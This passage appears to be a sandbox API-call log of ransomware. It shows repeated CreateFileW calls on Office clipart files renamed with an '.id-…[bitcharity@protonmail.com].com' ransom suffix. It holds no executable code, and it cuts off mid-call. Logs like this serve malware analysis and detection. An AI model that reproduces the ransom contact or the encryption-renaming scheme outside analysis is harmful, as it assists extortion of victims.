office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.307] CloseHandle (hObject=0x1178) returned 1 [0244.308] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.308] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.309] CloseHandle (hObject=0x1178) returned 1 [0244.310] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.310] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.311] CloseHandle (hObject=0x1178) returned 1 [0244.312] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.312] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.312] CloseHandle (hObject=0x1178) returned 1 [0244.313] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.313] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.313] CloseHandle (hObject=0x1178) returned 1 [0244.314] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.314] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.314] CloseHandle (hObject=0x1178) returned 1 [0244.315] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.315] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.315] CloseHandle (hObject=0x1178) returned 1 [0244.316] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.704] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.113] CloseHandle (hObject=0x1178) returned 1 [0245.117] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.117] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.118] CloseHandle (hObject=0x1178) returned 1 [0245.118] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.119] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.119] CloseHandle (hObject=0x1178) returned 1 [0245.120] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.120] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.121] CloseHandle (hObject=0x1178) returned 1 [0245.122] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.123] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.123] CloseHandle (hObject=0x1178) returned 1 [0245.124] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.124] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.124] CloseHandle (hObject=0x1178) returned 1 [0245.125] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.125] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.126] CloseHandle (hObject=0x1178) returned 1 [0245.127] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.127] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.127] CloseHandle (hObject=0x1178) returned 1 [0245.128] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.128] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.129] CloseHandle (hObject=0x1178) returned 1 [0245.130] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.130] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.131] CloseHandle (hObject=0x1178) returned 1 [0245.132] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.132] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.133] CloseHandle (hObject=0x1178) returned 1 [0245.134] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.134] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.134] CloseHandle (hObject=0x1178) returned 1 [0245.135] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.135] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.135] CloseHandle (hObject=0x1178) returned 1 [0245.137] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.137] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.137] CloseHandle (hObject=0x1178) returned 1 [0245.140] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.140] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.140] CloseHandle (hObject=0x1178) returned 1 [0245.141] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.141] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.142] CloseHandle (hObject=0x1178) returned 1 [0245.143] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.143] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.144] CloseHandle (hObject=0x1178) returned 1 [0245.145] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.145] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.145] CloseHandle (hObject=0x1178) returned 1 [0245.147] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.147] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.148] CloseHandle (hObject=0x1178) returned 1 [0245.149] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.149] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.150] CloseHandle (hObject=0x1178) returned 1 [0246.277] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.277] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.277] CloseHandle (hObject=0x11cc) returned 1 [0246.343] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.343] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.343] CloseHandle (hObject=0x11cc) returned 1 [0246.344] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.344] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.345] CloseHandle (hObject=0x11cc) returned 1 [0246.345] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.345] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.346] CloseHandle (hObject=0x11cc) returned 1 [0246.347] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.347] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.347] CloseHandle (hObject=0x11cc) returned 1 [0246.348] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.348] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 